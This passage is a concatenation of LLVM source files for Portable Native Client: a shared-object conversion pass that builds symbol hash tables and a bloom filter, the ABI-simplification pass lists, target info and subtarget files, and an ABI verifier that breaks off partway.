// of cases we need to handle, and it allows us to iterate over the
// initializers instead of needing to recurse.
ModulePass *Pass = createFlattenGlobalsPass();
Pass->runOnModule(M);
delete Pass;
// Process imports.
SmallVector<Constant *, 32> ImportPtrs;
// Indexes into the StringTable for the names of exported symbols.
SmallVector<Constant *, 32> ImportNames;
for (GlobalVariable &Var : M.globals()) {
if (!Var.hasInitializer())
continue;
Constant *Init = Var.getInitializer();
if (auto CS = dyn_cast<ConstantStruct>(Init)) {
// The initializer is a CompoundElement (i.e. a struct containing
// SimpleElements).
SmallVector<Constant *, 32> Elements;
bool Modified = false;
for (unsigned I = 0; I < CS->getNumOperands(); ++I) {
Constant *Element = CS->getOperand(I);
uint64_t Addend;
if (auto GV = getReference(Element, &Addend)) {
// Calculate the address that needs relocating.
Value *Indexes[] = {
ConstantInt::get(C, APInt(32, 0)),
ConstantInt::get(C, APInt(32, I)),
};
Constant *Addr = ConstantExpr::getGetElementPtr(
Init->getType(), &Var, Indexes);
createSymbol(&ImportNames, &ImportPtrs, GV->getName(), Addr);
// Replace the original reference with the addend value.
Element = ConstantInt::get(Element->getType(), Addend);
Modified = true;
}
Elements.push_back(Element);
}
if (Modified) {
// This global variable will need to be relocated at runtime, so it
// should not be in read-only memory.
Var.setConstant(false);
// Note that the resulting initializer will not follow
// FlattenGlobals' normal form, because it will contain i32s rather
// than i8 arrays. However, the later pass of FlattenGlobals will
// restore the normal form.
Var.setInitializer(ConstantStruct::getAnon(C, Elements, true));
}
} else {
// The initializer is a single SimpleElement.
uint64_t Addend;
if (auto GV = getReference(Init, &Addend)) {
createSymbol(&ImportNames, &ImportPtrs, GV->getName(), &Var);
// This global variable will need to be relocated at runtime, so it
// should not be in read-only memory.
Var.setConstant(false);
// Replace the original reference with the addend value.
Var.setInitializer(ConstantInt::get(Init->getType(), Addend));
}
}
}
// Process exports.
SmallVector<Constant *, 32> ExportPtrs;
// Indexes into the StringTable for the names of exported symbols.
SmallVector<Constant *, 32> ExportNames;
auto processGlobalValue = [&](GlobalValue &GV) {
if (GV.isDeclaration()) {
// Aside from intrinsics, we should have handled any imported
// references already.
if (auto Func = dyn_cast<Function>(&GV)) {
if (Func->isIntrinsic())
return;
}
GV.removeDeadConstantUsers();
assert(GV.use_empty());
GV.eraseFromParent();
return;
}
if (GV.getLinkage() != GlobalValue::ExternalLinkage)
return;
// Actually store the pointer to be exported.
ExportedSymbolTableVector.push_back(SymbolTableEntry(GV.getName(), &GV));
GV.setLinkage(GlobalValue::InternalLinkage);
};
for (auto Iter = M.begin(); Iter != M.end(); ) {
processGlobalValue(*Iter++);
}
for (auto Iter = M.global_begin(); Iter != M.global_end(); ) {
processGlobalValue(*Iter++);
}
for (auto Iter = M.alias_begin(); Iter != M.alias_end(); ) {
processGlobalValue(*Iter++);
}
// The following section uses the ExportedSymbolTableVector to generate a hash
// table, which, embeded in PSL Root, can be used to quickly look up symbols
// based on a string name.
//
// The hash table is based on the GNU ELF hash section
// (https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections).
//
// Using the hash table requires the following function be known:
// uint32_t hashString(const char *str)
//
// The hash table contains the following fields:
// size_t NumBuckets
// int32_t *Buckets[0 ... NumBuckets]
// uint32_t *HashChains[0 ... NumChainEntries]
// Where NumChainEntries is known to be the number of exported symbols.
//
// The hash table requires that the list of ExportNames is sorted by
// "hashString(export_symbol) % NumBuckets".
//
// Given an input string, Str, a lookup is done as follows:
// 1) H = hashString(Str) is calculated.
// 2) BucketIndex = H % NumBuckets is calculated, as an index into the list of
// buckets.
// 3) BucketValue = Buckets[BucketIndex] is calculated.
// BucketValue will be -1 if there are no exported symbols such that
// hashString(symbol.name) % NumBuckets = BucketIndex.
// BucketValue will be an index into the HashChains array if there is at
// least one symbol where hashString(symbol.name) % NumBuckets =
// BucketIndex.
// 4) If BucketValue != -1, then BucketValue corresponds with an index to the
// start of a chain, identified as "ChainIndex".
// 5) ChainIndex has a double meaning.
// Firstly, ChainIndex itself is an index into "ExportNames" (taking
// advantage of the sorting requirement stated earlier).
// Secondly, ChainValue = HashChains[ChainIndex] can be calculated.
// ChainValue also has a double meaning:
// The bottom bit (ChainValue & 1):
// This bit indicates if ExportNames[ChainIndex] is the last symbol
// with a name such that:
// BucketIndex == hashString(ExportNames[ChainIndex]) % NumBuckets
// In other words, this bit is 1 if ChainIndex is the end of a chain.
// The top 31 bits (ChainValue & ~1):
// The top 31 bits of ChainValue cache the hash of the corresonding
// symbol in export names:
// ChainValue = hashString(ExportNames[ChainIndex]) & ~1
// This hash can be used to quickly compare with "H".
// 6) For each entry in the chain, (ChainValue & ~1) can be compared with
// (H & ~1) to quickly identify if "Str" matches the corresponding symbol
// at ExportNames[ChainIndex]. If the hashes match, the full strings are
// compared. If they do not, ChainIndex is incremented, and step (6) is
// repeated (unless the ChainIndex is the end of a chain, indicated by
// ChainValue & 1).
const size_t NumChainEntries = ExportedSymbolTableVector.size();
const size_t AverageChainLength = 4;
const size_t NumBuckets = (NumChainEntries + AverageChainLength - 1)
/ AverageChainLength;
// The SymbolTable must be sorted by hash(symbol name) % number of buckets
// to allow quick access from the hash table.
// Sort the table (as a vector), and then iterate through the symbols, adding
// their names and values to the appropriate variable in the PSLRoot.
auto sortStringTable = [&](const SymbolTableEntry &A,
const SymbolTableEntry &B) {
return (A.Hash % NumBuckets) <
(B.Hash % NumBuckets);
};
std::sort(ExportedSymbolTableVector.begin(), ExportedSymbolTableVector.end(),
sortStringTable);
SmallVector<uint32_t, 32> HashBuckets;
HashBuckets.assign(NumBuckets, -1);
SmallVector<uint32_t, 32> HashChains;
HashChains.reserve(ExportPtrs.size());
// A bloom filter is used to quickly reject queries for exported symbols which
// do not exist within a module.
//
// The bloom filter is composed of |MaskWords| number of words, each 32 bits
// wide.
//
// It uses k=2, or "two independent hash functions for each symbol". This
// means that two separate hashes, |H1| and |H2| are calculated. Each of these
// hashes corresponds to a single MaskWord and MaskBit pair. This lets a
// single bit of the bloom filter be turned on based on the inclusion of a
// hash.
//
// These hashes are calculated as follows:
// H1 = Hash(name);
// H2 = H1 >> Shift2;
//
// Where Shift2 is the number of right-shifts to generate H2 (from H1).
//
// Inspired by the GNU hash section, the bloom filter's performance improves
// when a single MaskWord is used for the pair of hashes, rather than two
// separate MaskWords.
//
// MaskWord = (H1 / 32) % MaskWords;
// Bitmask = (1 << (H1 % 32)) | (1 << (H2 % 32));
//
// As a bit-fiddling trick, |MaskWords| must be a power of 2.
// This lets us avoid the modulus operation when calculating MaskWord:
// MaskWord = (H1 / 32) & (MaskWords - 1);
size_t ExportSymCount = ExportedSymbolTableVector.size();
size_t MaskBitsLog2 = Log2_32(ExportSymCount) + 1;
const int Log2BitsPerWord = 5;
// This heuristic for calculating Shift2 and MaskWords matches the heuristic
// used in both BFD ld and gold.
if (MaskBitsLog2 < 3)
MaskBitsLog2 = Log2BitsPerWord;
else if ((1 << (MaskBitsLog2 - 2)) & ExportSymCount)
// If the number of exported symbols is almost high enough to trigger an
// increased value of "MaskBitsLog2", then add one anyway, to decrease the
// likeliness of hash collisions. For example, for values of ExportSymCount
// in the range of 32 to 47, the conditional will evaluate to "false". For
// the range 48 to 63, it will evaluate to "true".
MaskBitsLog2 += 3;
else
MaskBitsLog2 += 2;
const size_t Shift2 = MaskBitsLog2;
assert(Shift2 >= Log2BitsPerWord);
const size_t MaskWords = 1U << (Shift2 - Log2BitsPerWord);
SmallVector<uint32_t, 32> BloomFilter;
BloomFilter.assign(MaskWords, 0);
uint32_t PrevBucketNum = -1;
for (size_t Index = 0; Index < ExportedSymbolTableVector.size(); ++Index) {
const SymbolTableEntry *Element = &ExportedSymbolTableVector[Index];
const uint32_t HashValue = Element->Hash;
// Update bloom filter.
const uint32_t HashValue2 = Element->Hash >> Shift2;
uint32_t WordNum = (HashValue / 32) % MaskWords;
uint32_t Bitmask = (1 << (HashValue % 32)) | (1 << (HashValue2 % 32));
BloomFilter[WordNum] |= Bitmask;
// The bottom bit of the chain value is reserved to identify if the element
// is the "end of the chain" for the given (hash(name) % numbuckets) entry.
uint32_t ChainValue = HashValue & ~1;
// The final entry in the chain list should be marked as "end of chain".
if (Index == ExportedSymbolTableVector.size() - 1)
ChainValue |= 1;
HashChains.push_back(ChainValue);
uint32_t BucketNum = HashValue % NumBuckets;
if (PrevBucketNum != BucketNum) {
// We are starting a new hash chain.
if (Index != 0) {
// Mark the end of the previous hash chain.
HashChains[Index - 1] |= 1;
}
// Record a pointer to the start of the new hash chain.
HashBuckets[BucketNum] = Index;
PrevBucketNum = BucketNum;
}
createSymbol(&ExportNames, &ExportPtrs, Element->Name, Element->Value);
}
// This lets us remove the "NumChainEntries" field from the PsoRoot.
assert(NumChainEntries == ExportPtrs.size() && "Malformed export hash table");
// Set up string of exported names.
Constant *StringTableArray = ConstantDataArray::getString(
C, StringRef(StringTable.data(), StringTable.size()), false);
Constant *StringTableVar = new GlobalVariable(
M, StringTableArray->getType(), true, GlobalValue::InternalLinkage,
StringTableArray, "string_table");
// Set up string of PLL dependencies.
SmallString<1024> DependenciesList;
for (auto dependency : LibraryDependencies) {
DependenciesList.append(dependency);
DependenciesList.push_back(0);
}
Constant *DependenciesListArray = ConstantDataArray::getString(
C, StringRef(DependenciesList.data(), DependenciesList.size()), false);
Constant *DependenciesListVar = new GlobalVariable(
M, DependenciesListArray->getType(), true, GlobalValue::InternalLinkage,
DependenciesListArray, "dependencies_list");
SmallVector<Constant *, 32> PsoRoot = {
ConstantInt::get(IntPtrType, PSOFormatVersion),
// String Table
StringTableVar,
// Exports
createArray(M, "export_ptrs", &ExportPtrs, PtrType),
createArray(M, "export_names", &ExportNames, IntPtrType),
ConstantInt::get(IntPtrType, ExportPtrs.size()),
// Imports
createArray(M, "import_ptrs", &ImportPtrs, PtrType),
createArray(M, "import_names", &ImportNames, IntPtrType),
ConstantInt::get(IntPtrType, ImportPtrs.size()),
// Hash Table (for quick string lookup of exports)
ConstantInt::get(IntPtrType, NumBuckets),
createDataArray(M, "hash_buckets", &HashBuckets),
createDataArray(M, "hash_chains", &HashChains),
// Bloom Filter (for quick string lookup rejection of exports)
ConstantInt::get(IntPtrType, MaskWords - 1),
ConstantInt::get(IntPtrType, Shift2),
createDataArray(M, "bloom_filter", &BloomFilter),
};
for (auto FieldVal : PsoRootLocalTlsFields)
PsoRoot.push_back(FieldVal);
// Dependencies List
PsoRoot.push_back(ConstantInt::get(IntPtrType, LibraryDependencies.size()));
PsoRoot.push_back(DependenciesListVar);
// TODO(smklein): Combine both PsoRoots into "PsoRootTlsFields", and reorder
// fields within the PLL root.
for (auto FieldVal : PsoRootImportedTlsFields)
PsoRoot.push_back(FieldVal);
Constant *PsoRootConst = ConstantStruct::getAnon(PsoRoot);
new GlobalVariable(
M, PsoRootConst->getType(), true, GlobalValue::ExternalLinkage,
PsoRootConst, "__pnacl_pso_root");
// As soon as we have finished exporting aliases, we can resolve them.
ModulePass *AliasPass = createResolveAliasesPass();
AliasPass->runOnModule(M);
delete AliasPass;
return true;
}
ModulePass *llvm::createConvertToPSOPass() {
return new ConvertToPSO();
}
<file_sep>/lib/Target/BPF/TargetInfo/BPFTargetInfo.cpp
//===-- BPFTargetInfo.cpp - BPF Target Implementation ---------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "BPF.h"
#include "llvm/Support/TargetRegistry.h"
using namespace llvm;
Target llvm::TheBPFTarget;
extern "C" void LLVMInitializeBPFTargetInfo() {
RegisterTarget<Triple::bpf, /*HasJIT=*/true> X(TheBPFTarget, "bpf", "BPF");
}
<file_sep>/lib/MC/MCParser/CMakeLists.txt
add_llvm_library(LLVMMCParser
AsmLexer.cpp
AsmParser.cpp
COFFAsmParser.cpp
DarwinAsmParser.cpp
ELFAsmParser.cpp
MCAsmLexer.cpp
MCAsmParser.cpp
MCAsmParserExtension.cpp
MCTargetAsmParser.cpp
NaClAsmParser.cpp
ADDITIONAL_HEADER_DIRS
${LLVM_MAIN_INCLUDE_DIR}/llvm/MCParser
)
<file_sep>/lib/Transforms/NaCl/PNaClABISimplify.cpp
//===-- PNaClABISimplify.cpp - Lists PNaCl ABI simplification passes ------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the meta-passes "-pnacl-abi-simplify-preopt"
// and "-pnacl-abi-simplify-postopt". It lists their constituent
// passes.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/Triple.h"
#include "llvm/Analysis/NaCl.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Transforms/Scalar.h"
using namespace llvm;
static cl::opt<bool>
EnableSjLjEH("enable-pnacl-sjlj-eh",
cl::desc("Enable use of SJLJ-based C++ exception handling "
"as part of the pnacl-abi-simplify passes"),
cl::init(false));
void llvm::PNaClABISimplifyAddPreOptPasses(Triple *T, PassManagerBase &PM) {
PM.add(createStripDanglingDISubprogramsPass());
if (EnableSjLjEH) {
// This comes before ExpandTls because it introduces references to
// a TLS variable, __pnacl_eh_stack. This comes before
// InternalizePass because it assumes various variables (including
// __pnacl_eh_stack) have not been internalized yet.
PM.add(createPNaClSjLjEHPass());
} else {
// LowerInvoke prevents use of C++ exception handling by removing
// references to BasicBlocks which handle exceptions.
PM.add(createLowerInvokePass());
}
// Run CFG simplification passes for a few reasons:
// (1) Landingpad blocks can be made unreachable by LowerInvoke
// when EnableSjLjEH is not enabled, so clean those up to ensure
// there are no landingpad instructions in the stable ABI.
// (2) Unreachable blocks can have strange properties like self-referencing
// instructions, so remove them.
PM.add(createCFGSimplificationPass());
// Internalize all symbols in the module except the entry point. A PNaCl
// pexe is only allowed to export "_start", whereas a PNaCl PSO is only
// allowed to export "__pnacl_pso_root".
const char *SymbolsToPreserve[] = {"_start", "__pnacl_pso_root"};
PM.add(createInternalizePass(SymbolsToPreserve));
PM.add(createInternalizeUsedGlobalsPass());
// Expand out computed gotos (indirectbr and blockaddresses) into switches.
PM.add(createExpandIndirectBrPass());
// LowerExpect converts Intrinsic::expect into branch weights,
// which can then be removed after BlockPlacement.
PM.add(createLowerExpectIntrinsicPass());
// Rewrite unsupported intrinsics to simpler and portable constructs.
PM.add(createRewriteLLVMIntrinsicsPass());
// ExpandStructRegs must be run after ExpandVarArgs so that struct-typed
// "va_arg" instructions have been removed.
PM.add(createExpandVarArgsPass());
// Convert struct reg function params to struct* byval. This needs to be
// before ExpandStructRegs so it has a chance to rewrite aggregates from
// function arguments and returns into something ExpandStructRegs can expand.
PM.add(createSimplifyStructRegSignaturesPass());
// TODO(mtrofin) Remove the following and only run it as a post-opt pass once
// the following bug is fixed.
// https://code.google.com/p/nativeclient/issues/detail?id=3857
PM.add(createExpandStructRegsPass());
PM.add(createExpandCtorsPass());
PM.add(createResolveAliasesPass());
PM.add(createExpandTlsPass());
// GlobalCleanup needs to run after ExpandTls because
// __tls_template_start etc. are extern_weak before expansion.
PM.add(createGlobalCleanupPass());
}
void llvm::PNaClABISimplifyAddPostOptPasses(Triple *T, PassManagerBase &PM) {
PM.add(createRewritePNaClLibraryCallsPass());
// ExpandStructRegs must be run after ExpandArithWithOverflow to expand out
// the insertvalue instructions that ExpandArithWithOverflow introduces.
PM.add(createExpandArithWithOverflowPass());
// We place ExpandByVal after optimization passes because some byval
// arguments can be expanded away by the ArgPromotion pass. Leaving
// in "byval" during optimization also allows some dead stores to be
// eliminated, because "byval" is a stronger constraint than what
// ExpandByVal expands it to.
PM.add(createExpandByValPass());
// We place ExpandSmallArguments after optimization passes because
// some optimizations undo its changes. Note that
// ExpandSmallArguments requires that ExpandVarArgs has already been
// run.
PM.add(createExpandSmallArgumentsPass());
PM.add(createPromoteI1OpsPass());
// Vector simplifications.
//
// The following pass relies on ConstantInsertExtractElementIndex running
// after it, and it must run before GlobalizeConstantVectors because the mask
// argument of shufflevector must be a constant (the pass would otherwise
// violate this requirement).
PM.add(createExpandShuffleVectorPass());
// We should not place arbitrary passes after ExpandConstantExpr
// because they might reintroduce ConstantExprs.
PM.add(createExpandConstantExprPass());
// GlobalizeConstantVectors does not handle nested ConstantExprs, so we
// run ExpandConstantExpr first.
PM.add(createGlobalizeConstantVectorsPass());
// The following pass inserts GEPs, it must precede ExpandGetElementPtr. It
// also creates vector loads and stores, the subsequent pass cleans them up to
// fix their alignment.
PM.add(createConstantInsertExtractElementIndexPass());
PM.add(createFixVectorLoadStoreAlignmentPass());
// Optimization passes and ExpandByVal introduce
// memset/memcpy/memmove intrinsics with a 64-bit size argument.
// This pass converts those arguments to 32-bit.
PM.add(createCanonicalizeMemIntrinsicsPass());
// We place StripMetadata after optimization passes because
// optimizations depend on the metadata.
PM.add(createStripMetadataPass());
// ConstantMerge cleans up after passes such as GlobalizeConstantVectors. It
// must run before the FlattenGlobals pass because FlattenGlobals loses
// information that otherwise helps ConstantMerge do a good job.
PM.add(createConstantMergePass());
// FlattenGlobals introduces ConstantExpr bitcasts of globals which
// are expanded out later. ReplacePtrsWithInts also creates some
// ConstantExprs, and it locally creates an ExpandConstantExprPass
// to clean both of these up.
PM.add(createFlattenGlobalsPass());
// The type legalization passes (ExpandLargeIntegers and PromoteIntegers) do
// not handle constexprs and create GEPs, so they go between those passes.
PM.add(createExpandLargeIntegersPass());
PM.add(createPromoteIntegersPass());
// ExpandGetElementPtr must follow ExpandConstantExpr to expand the
// getelementptr instructions it creates.
PM.add(createExpandGetElementPtrPass());
// Rewrite atomic and volatile instructions with intrinsic calls.
PM.add(createRewriteAtomicsPass());
// Remove ``asm("":::"memory")``. This must occur after rewriting
// atomics: a ``fence seq_cst`` surrounded by ``asm("":::"memory")``
// has special meaning and is translated differently.
PM.add(createRemoveAsmMemoryPass());
PM.add(createSimplifyAllocasPass());
// ReplacePtrsWithInts assumes that getelementptr instructions and
// ConstantExprs have already been expanded out.
PM.add(createReplacePtrsWithIntsPass());
// The atomic cmpxchg instruction returns a struct, and is rewritten to an
// intrinsic as a post-opt pass, we therefore need to expand struct regs.
PM.add(createExpandStructRegsPass());
// We place StripAttributes after optimization passes because many
// analyses add attributes to reflect their results.
// StripAttributes must come after ExpandByVal and
// ExpandSmallArguments.
PM.add(createStripAttributesPass());
// Many passes create loads and stores. This pass changes their alignment.
PM.add(createNormalizeAlignmentPass());
// Strip dead prototytes to appease the intrinsic ABI checks.
// ExpandVarArgs leaves around vararg intrinsics, and
// ReplacePtrsWithInts leaves the lifetime.start/end intrinsics.
PM.add(createStripDeadPrototypesPass());
// Eliminate simple dead code that the post-opt passes could have created.
PM.add(createDeadCodeEliminationPass());
// This should be the last step before PNaCl ABI validation.
PM.add(createCleanupUsedGlobalsMetadataPass());
}
<file_sep>/lib/Target/XCore/XCoreSubtarget.cpp
//===-- XCoreSubtarget.cpp - XCore Subtarget Information ------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the XCore specific subclass of TargetSubtargetInfo.
//
//===----------------------------------------------------------------------===//
#include "XCoreSubtarget.h"
#include "XCore.h"
#include "llvm/Support/TargetRegistry.h"
using namespace llvm;
#define DEBUG_TYPE "xcore-subtarget"
#define GET_SUBTARGETINFO_TARGET_DESC
#define GET_SUBTARGETINFO_CTOR
#include "XCoreGenSubtargetInfo.inc"
void XCoreSubtarget::anchor() { }
XCoreSubtarget::XCoreSubtarget(const std::string &TT, const std::string &CPU,
const std::string &FS, const TargetMachine &TM)
: XCoreGenSubtargetInfo(TT, CPU, FS), InstrInfo(), FrameLowering(*this),
TLInfo(TM, *this), TSInfo(*TM.getDataLayout()) {}
<file_sep>/lib/Analysis/NaCl/PNaClABIVerifyModule.cpp
//===- PNaClABIVerifyModule.cpp - Verify PNaCl ABI rules ------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Verify module-level PNaCl ABI requirements (specifically those that do not
// require looking at the function bodies)
//
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/NaCl/PNaClABIVerifyModule.h"
#include "llvm/ADT/Twine.h"
#include "llvm/Analysis/NaCl/PNaClABIProps.h"
#include "llvm/Analysis/NaCl/PNaClABITypeChecker.h"
#include "llvm/Analysis/NaCl/PNaClAllowedIntrinsics.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
namespace llvm {
cl::opt<bool>
PNaClABIAllowDebugMetadata("pnaclabi-allow-debug-metadata",
cl::desc("Allow debug metadata during PNaCl ABI verification."),
cl::init(false));
cl::opt<bool>
PNaClABIAllowMinsfiSyscalls("pnaclabi-allow-minsfi-syscalls",
cl::desc("Allow undefined references to MinSFI syscall functions."),
cl::init(false));
}
PNaClABIVerifyModule::~PNaClABIVerifyModule() {
if (ReporterIsOwned)
delete Reporter;
}
// MinSFI syscalls are functions with a given prefix which are left undefined
// and later linked against their implementation inside the trusted runtime.
// If the corresponding flag is set, do allow these external symbols in the
// module.
//
// We also require the syscall declarations to have an i32 return type. This
// is meant to prevent abusing syscalls to obtain an undefined value, e.g. by
// invoking a syscall whose trusted implementation returns void as a function
// which returns an integer, leaking the value of a register (see comments in
// the SubstituteUndefs pass for more information on undef values).
static bool isAllowedMinsfiSyscall(const Function *Func) {
return PNaClABIAllowMinsfiSyscalls &&
Func->getName().startswith("__minsfi_syscall_") &&
Func->getReturnType()->isIntegerTy(32);
}
// Check linkage type and section attributes, which are the same for
// GlobalVariables and Functions.
void PNaClABIVerifyModule::checkGlobalValue(const GlobalValue *GV) {
assert(!isa<GlobalAlias>(GV));
const char *GVTypeName = PNaClABIProps::GVTypeName(isa<Function>(GV));
GlobalValue::LinkageTypes Linkage = GV->getLinkage();
if (!PNaClABIProps::isValidGlobalLinkage(Linkage)) {
Reporter->addError() << GVTypeName << " " << GV->getName()
<< " has disallowed linkage type: "
<< PNaClABIProps::LinkageName(Linkage) << "\n";
}
if (Linkage == GlobalValue::ExternalLinkage) checkExternalSymbol(GV);
if (GV->getVisibility() != GlobalValue::DefaultVisibility) {
std::string Text = "unknown";
if (GV->getVisibility() == GlobalValue::HiddenVisibility) {
Text = "hidden";
} else if (GV->getVisibility() == GlobalValue::ProtectedVisibility) {
Text = "protected";
}
Reporter->addError() << GVTypeName << " " << GV->getName()
<< " has disallowed visibility: " << Text << "\n";
}
if (GV->hasSection()) {
Reporter->addError() << GVTypeName << " " << GV->getName() <<
" has disallowed \"section\" attribute\n";
}
if (GV->getType()->getAddressSpace() != 0) {
Reporter->addError() << GVTypeName << " " << GV->getName()
<< " has addrspace attribute (disallowed)\n";
}
// The "unnamed_addr" attribute can be used to merge duplicate
// definitions, but that should be done by user-toolchain
// optimization passes, not by the PNaCl translator.
if (GV->hasUnnamedAddr()) {
Reporter->addError() << GVTypeName << " " << GV->getName()
<< " has disallowed \"unnamed_addr\" attribute\n";
}
}
void PNaClABIVerifyModule::checkExternalSymbol(const GlobalValue *GV) {
if (const Function *Func = dyn_cast<const Function>(GV)) {
if (Func->isIntrinsic() || isAllowedMinsfiSyscall(Func))
return;
}
// We only allow __pnacl_pso_root to be a variable, not a function, to
// reduce the number of cases that the translator needs to handle.
bool ValidEntry =
(isa<Function>(GV) && GV->getName().equals("_start")) ||
(isa<GlobalVariable>(GV) && GV->getName().equals("__pnacl_pso_root"));
if (!ValidEntry) {
Reporter->addError()
<< GV->getName()
<< " is not a valid external symbol (disallowed)\n";
} else {
if (SeenEntryPoint) {
Reporter->addError() <<
"Module has multiple entry points (disallowed)\n";
}
SeenEntryPoint = true;
}
}
static bool isPtrToIntOfGlobal(const Constant *C) {
if (const ConstantExpr *CE = dyn_cast<ConstantExpr>(C)) {
return CE->getOpcode() == Instruction::PtrToInt &&
isa<GlobalValue>(CE->getOperand(0));
}
return false;
}
// This checks for part of the normal form produced by FlattenGlobals.
static bool isSimpleElement(const Constant *C) {
// A SimpleElement is one of the following:
// 1) An i8 array literal or zeroinitializer:
// [SIZE x i8] c"DATA"
// [SIZE x i8] zeroinitializer
if (ArrayType *Ty = dyn_cast<ArrayType>(C->getType())) {
return Ty->getElementType()->isIntegerTy(8) &&
(isa<ConstantAggregateZero>(C) ||
isa<ConstantDataArray>(C));
}
// 2) A reference to a GlobalValue (a function or global variable)
// with an optional byte offset added to it (the addend).
if (C->getType()->isIntegerTy(32)) {
const ConstantExpr *CE = dyn_cast<ConstantExpr>(C);
if (!CE)
return false;
// Without addend: ptrtoint (TYPE* @GLOBAL to i32)
if (isPtrToIntOfGlobal(CE))
return true;
// With addend: add (i32 ptrtoint (TYPE* @GLOBAL to i32), i32 ADDEND)
if (CE->getOpcode() == Instruction::Add &&
isPtrToIntOfGlobal(CE->getOperand(0)) &&
isa<ConstantInt>(CE->getOperand(1)))
return true;
}
return false;
}
// This checks for part of the normal form produced by FlattenGlobals.
static bool isCompoundElement(const Constant *C) {
const ConstantStruct *CS = dyn_cast<ConstantStruct>(C);
if (!CS || !CS->getType()->isPacked() || CS->getType()->hasName() ||
CS->getNumOperands() <= 1)
return false;
for (unsigned I = 0; I < CS->getNumOperands(); ++I) {
if (!isSimpleElement(CS->getOperand(I)))
return false;
}
return true;
}
static std::string getAttributesAsString(AttributeSet Attrs) {
std::string AttrsAsString;
for (unsigned Slot = 0; Slot < Attrs.getNumSlots(); ++Slot) {
for (AttributeSet::iterator Attr = Attrs.begin(Slot),
E = Attrs.end(Slot); Attr != E; ++Attr) {
AttrsAsString += " ";
AttrsAsString += Attr->getAsString();
}
}
return AttrsAsString;
}
// This checks that the GlobalVariable has the normal form produced by
// the FlattenGlobals pass.
void PNaClABIVerifyModule::checkGlobalIsFlattened(const GlobalVariable *GV) {
if (!GV->hasInitializer()) {
Reporter->addError() << "Global variable " << GV->getName()
<< " has no initializer (disallowed)\n";
return;
}
const Constant *InitVal = GV->getInitializer();
if (isSimpleElement(InitVal) || isCompoundElement(InitVal))
return;
Reporter->addError() << "Global variable " << GV->getName()
<< " has non-flattened initializer (disallowed): "
<< *InitVal << "\n";
}
void PNaClABIVerifyModule::checkFunction(const Function *F,
const StringRef &Name,
PNaClAllowedIntrinsics &Intrinsics) {
if (F->isIntrinsic()) {
// Check intrinsics.
if (!Intrinsics.isAllowed(F)) {
Reporter->addError() << "Function " << F->getName()
<< " is a disallowed LLVM intrinsic\n";
}
} else {
// Check types of functions and their arguments. Not necessary
// for intrinsics, whose types are fixed anyway, and which have
// argument types that we disallow such as i8.
if (!PNaClABITypeChecker::isValidFunctionType(F->getFunctionType())) {
Reporter->addError()
<< "Function " << Name << " has disallowed type: "
<< PNaClABITypeChecker::getTypeName(F->getFunctionType())
<< "\n";
}
// This check is disabled in streaming mode because it would
// reject a function that is defined but not read in yet.
// Unfortunately this means we simply don't check this property
// when translating a pexe in the browser.
// TODO(mseaborn): Enforce this property in the bitcode reader.
if (!StreamingMode && F->isDeclaration() && !isAllowedMinsfiSyscall(F)) {
Reporter->addError() << "Function " << Name
<< " is declared but not defined (disallowed)\n";
}
if (!F->getAttributes().isEmpty()) {
Reporter->addError()
<< "Function " << Name << " has disallowed attributes:"
<< getAttributesAsString(F->getAttributes()) << "\n";
}
if (!PNaClABIProps::isValidCallingConv(F->getCallingConv())) {
Reporter->addError()
<< "Function " << Name << " has disallowed calling convention: "
<< PNaClABIProps::CallingConvName(F->getCallingConv()) << " ("
<< F->getCallingConv() << ")\n";
}
}
checkGlobalValue(F);
if (F->hasGC()) {
Reporter->addError() << "Function " << Name <<
" has disallowed \"gc\" attribute\n";
}
// Knowledge of what function alignments are useful is
// architecture-specific and sandbox-specific, so PNaCl pexes
// should not be able to specify function alignment.
if (F->getAlignment() != 0) {
Reporter->addError() << "Function " << Name <<
" has disallowed \"align\" attribute\n";
}
}
bool PNaClABIVerifyModule::runOnModule(Module &M) {
SeenEntryPoint = false;
PNaClAllowedIntrinsics Intrinsics(&M.getContext());
if (!M.getModuleInlineAsm().empty()) {
Reporter->addError() <<
"Module contains disallowed top-level inline assembly\n";
}
for (Module::const_global_iterator MI = M.global_begin(), ME = M.global_end();
MI != ME; ++MI) {
checkGlobalIsFlattened(MI);
checkGlobalVariable(MI);
if (MI->isThreadLocal()) {
Reporter->addError() << "Variable " << MI->getName() <<
" has disallowed \"thread_local\" attribute\n";
}
if (MI->isExternallyInitialized()) {
Reporter->addError() << "Variable " << MI->getName() <<
" has disallowed \"externally_initialized\" attribute\n";
}
}
// No aliases allowed for now.
for (Module::alias_iterator MI = M.alias_begin(),
E = M.alias_end(); MI != E; ++MI) {
Reporter->addError() << "Variable " << MI->getName() <<
" is an alias (disallowed)\n";
}
for (Module::const_iterator MI = M.begin(), ME = M.end(); MI != ME; ++MI) {
checkFunction(MI, MI->getName(), Intrinsics);
}
// Check named metadata nodes
for (Module::const_named_metadata_iterator I = M.named_metadata_begin(),
E = M.named_metadata_end(); I != E; ++I) {
if (!PNaClABIProps::isWhitelistedMetadata(I)) {
Reporter->addError() << "Named metadata node " << I->getName()
<< " is disallowed\n";
}
}
if (!SeenEntryPoint) {
Reporter->addError() << "Module has no entry point (disallowed)\n";
}
Reporter->checkForFatalErrors();
return false;
}
// This method exists so that the passes can easily be run with opt -analyze.
// In this case the default constructor is used and we want to reset the error
// messages after each print (this is more of an issue for the FunctionPass
// than the ModulePass)
void PNaClABIVerifyModule::print(llvm::raw_ostream &O, const Module *M) const {
